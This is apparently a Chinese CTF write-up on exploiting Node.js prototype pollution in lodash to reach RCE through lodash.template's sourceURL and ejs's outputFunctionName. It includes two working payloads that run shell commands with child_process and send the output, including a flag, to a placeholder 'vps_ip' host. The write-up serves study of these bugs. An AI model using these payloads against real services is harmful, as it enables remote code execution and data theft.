旧的两道题目的梳理,主要还是回顾一下如何放大原型链污染的危害

code-breaking 2018 thejs

题目源码地址 https://github.com/phith0n/code-breaking/tree/master/2018/thejs

可以先看 server.js,代码非常简单:

const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
    name: 'thejs.session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})

        return callback(null, rendered)
    })
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data
    }
    
    res.render('index', {
        language: data.language, 
        category: data.category
    })
})

app.listen(3000, () => console.log(`Example app listening on port 3000!`))

第一个问题,漏洞点在哪?很明显有问题的调用必然是 lodash.merge(data, req.body),结合 package.json 特地限定了 lodash 的版本 "lodash": "4.17.4",可以搜到相关的 CVE-2019-10744, https://github.com/lodash/lodash/issues/4348,所以问题非常清晰——原型链污染。

第二个问题,如何利用原型链污染?可以关注一下 server.js 内调用的函数,比如 lodash.template 函数内部的实现,有意思的是可以看到函数的最后会构造一个新函数并调用:

 var result = attempt(function() {
   return Function(importsKeys, sourceURL + 'return ' + source)
     .apply(undefined, importsValues);
 });

如果我们能利用原型链污染控制变量 sourceURL 或者 source,那么相当于得到了一次任意执行的机会,下一步则是关注这两个变量是否存在被修改的可能性。

向上回顾代码,可以看到:

var sourceURL = '//# sourceURL=' +
    ('sourceURL' in options
     ? options.sourceURL
     : ('lodash.templateSources[' + (++templateCounter) + ']')
    ) + '\n';

恰好 optipns.sourceURL 属于原型链污染能够影响的变量。那么现在攻击的构造非常明确了:

  1. 利用原型链污染变量 .sourceURL
  2. 利用污染后的 sourceURL 构造并执行函数

PoC 如下:

curl --location --request POST 'http://ip:port/' \
--header 'Content-Type: application/json' \
--data-raw '{
	"__proto__": {
		"sourceURL": "\r\nconst process = this.constructor.constructor('\''return this.process'\'')();\r\nconst http = process.mainModule.require('\''http'\'');const req=http.get(`http://vps_ip/${process.mainModule.require('\''child_process'\'').execSync('\''ls /'\'').toString()}`);req.end();\r\n"
	}
}'

XNUCA 2019 - hardjs

原题链接:https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs

贴一下出题师傅的介绍:

此题目前后端都存在原型链污染漏洞,漏洞很明显,所以只需要找利用链就可以了。 利用后端的原型链污染可以进行RCE或者身份伪造等攻击,利用前端的原型链污染可以进行xss等攻击。

所以此题目就是为了让大家尽可能的挖前端或者后端所有使用的库中存在的 gadget 来进行攻击。 如果实在是挖不到第三方库里面的利用链,那么也没有关系,题目的代码本身也留有利用链,也同样可以获得flag。

看 server.js 的代码和 package.json,可以发现程序使用了 lodash 库而且版本为 "lodash": "4.17.11",很明显该版本存在原型链污染的问题,查阅相关资料可以找到 https://snyk.io/vuln/SNYK-JS-LODASH-73638,为修复 CVE-2018-3721 不完全的结果,可以继续利用 prototype 属性污染原型链。

相关污染代码在 lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));

下一步则是关注程序源码中调用了哪些函数,这里需要关注一下 ejs 引擎的问题,源码中关于 ejs 的相关代码如下:

// ……
const ejs = require('ejs')
const app = express()
// ……
app.set('views', './views')
app.set('view engine', 'ejs')
// ……

虽然没有非常直接的显示调用了 ejs 的代码,但这里隐含了 ejs 模板的渲染过程,跟进 express 的 render 函数,先是 response.js 中的 render 函数的实现:

res.render = function render(view, options, callback) {
  var app = this.req.app;
  var done = callback;
  var opts = options || {};
  var req = this.req;
  var self = this;
	// ……
  // render
  app.render(view, opts, done);
};

继续跟进 application.js 内 render 函数的实现:

app.render = function render(name, options, callback) {
  var cache = this.cache;
  var done = callback;
  var engines = this.engines;
  var opts = options;
  var renderOptions = {};
  var view;
  // ……
  // render
  tryRender(view, renderOptions, done);
};

接下来看 tryRender 函数的实现:

function tryRender(view, options, callback) {
  try {
    view.render(options, callback);
  } catch (err) {
    callback(err);
  }
}

该函数调用了 view.js 内 View 类的 render 方法,该方法较为简单:

View.prototype.render = function render(options, callback) {
  debug('render "%s"', this.path);
  this.engine(this.path, options, callback);
};

最终可以定位到 ejs 的 renderFile 函数:

exports.__express = exports.renderFile;

exports.renderFile = function () {
  var args = Array.prototype.slice.call(arguments);
  var filename = args.shift();
  var cb;
  var opts = {filename: filename};
  var data;
  var viewOpts;
  
  // …… 
  return tryHandleCache(opts, data, cb);
};

继续跟进 tryHandlerCachehandleCache 函数,可以发现最终会调用 compile 函数:

function tryHandleCache(options, data, cb) {
  var result;
  if (!cb) {
    if (typeof exports.promiseImpl == 'function') {
      return new exports.promiseImpl(function (resolve, reject) {
        try {
          result = handleCache(options)(data);
          resolve(result);
        }
        catch (err) {
          reject(err);
        }
      });
    }
    else {
      throw new Error('Please provide a callback function');
    }
  }
  else {
    try {
      result = handleCache(options)(data);
    }
    catch (err) {
      return cb(err);
    }

    cb(null, result);
  }
}

function handleCache(options, template) {
  var func;
  var filename = options.filename;
  var hasTemplate = arguments.length > 1;
  
  // ……
  func = exports.compile(template, options);
  if (options.cache) {
    exports.cache.set(filename, func);
  }
  return func;

最后跟进一个非常有意思的函数 compile

Template.prototype = {
  compile: function () {
    var src;
    var fn;
    var opts = this.opts;
    var prepended = '';
    var appended = '';
    var escapeFn = opts.escapeFunction;
    var ctor;

    if (!this.source) {
      this.generateSource();
      prepended += '  var __output = [], __append = __output.push.bind(__output);' + '\n';
      if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }
      if (opts._with !== false) {
        prepended +=  '  with (' + opts.localsName + ' || {}) {' + '\n';
        appended += '  }' + '\n';
      }
      appended += '  return __output.join("");' + '\n';
      this.source = prepended + this.source + appended;
    }

    if (opts.compileDebug) {
      src = 'var __line = 1' + '\n'
        + '  , __lines = ' + JSON.stringify(this.templateText) + '\n'
        + '  , __filename = ' + (opts.filename ?
        JSON.stringify(opts.filename) : 'undefined') + ';' + '\n'
        + 'try {' + '\n'
        + this.source
        + '} catch (e) {' + '\n'
        + '  rethrow(e, __lines, __filename, __line, escapeFn);' + '\n'
        + '}' + '\n';
    }
    else {
      src = this.source;
    }

    if (opts.client) {
      src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
      if (opts.compileDebug) {
        src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
      }
    }

    if (opts.strict) {
      src = '"use strict";\n' + src;
    }
    if (opts.debug) {
      console.log(src);
    }

    try {
      if (opts.async) {
        // Have to use generated function for this, since in envs without support,
        // it breaks in parsing
        try {
          ctor = (new Function('return (async function(){}).constructor;'))();
        }
        catch(e) {
          if (e instanceof SyntaxError) {
            throw new Error('This environment does not support async/await');
          }
          else {
            throw e;
          }
        }
      }
      else {
        ctor = Function;
      }
      fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);
    }
    catch(e) {
      // istanbul ignore else
      if (e instanceof SyntaxError) {
        if (opts.filename) {
          e.message += ' in ' + opts.filename;
        }
        e.message += ' while compiling ejs\n\n';
        e.message += 'If the above error is not helpful, you may want to try EJS-Lint:\n';
        e.message += 'https://github.com/RyanZim/EJS-Lint';
        if (!e.async) {
          e.message += '\n';
          e.message += 'Or, if you meant to create an async function, pass async: true as an option.';
        }
      }
      throw e;
    }

    if (opts.client) {
      fn.dependencies = this.dependencies;
      return fn;
    }

    // Return a callable function which will execute the function
    // created by the source-code, with the passed data as locals
    // Adds a local `include` function which allows full recursive include
    var returnedFn = function (data) {
      var include = function (path, includeData) {
        var d = utils.shallowCopy({}, data);
        if (includeData) {
          d = utils.shallowCopy(d, includeData);
        }
        return includeFile(path, opts)(d);
      };
      return fn.apply(opts.context, [data || {}, escapeFn, include, rethrow]);
    };
    returnedFn.dependencies = this.dependencies;
    return returnedFn;
  }
}

这里存在着使用 new Function() 功能的可能:

else {
  ctor = Function;
}      
fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);

现在需要关注什么能影响 src 这个变量,可以关注函数的前一部分存在着大量变量对 src 变量对赋值操作,而且这些变量可能存在未初始化的可能性的,比如作者提到的 opts.outputFunctionName

查看ejs的源码,看到下面代码:

    if (!this.source) {
      this.generateSource();
      prepended += '  var __output = [], __append = __output.push.bind(__output);' + '\n';
      if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }
      if (opts._with !== false) {
        prepended +=  '  with (' + opts.localsName + ' || {}) {' + '\n';
        appended += '  }' + '\n';
      }
      appended += '  return __output.join("");' + '\n';
      this.source = prepended + this.source + appended;
    }

那么本题的思路也非常明确,利用原型链污染 opts.outputFunctionName,然后利用 ejs compile 过程中动态生成函数的特点构造函数,进而 RCE。

最后使用的 exp:

{
  "type":"test",
  "content":{
    "constructor":{
      "prototype": {
        "outputFunctionName":"a=1;const http=process.mainModule.require('http');const flag=process.mainModule.require('child_process').execSync('echo $FLAG').toString();req=http.get(`http://vps_ip/${flag}`);req.end();//"
      }
    }
  }
}

总结

该问题实际上还是原型链污染+未初始化变量带来的奇妙化学反应,如果我们能找到一个原型链污染作为切入口,结合一个能影响执行的未初始化变量,就能影响运行的服务,为所欲为。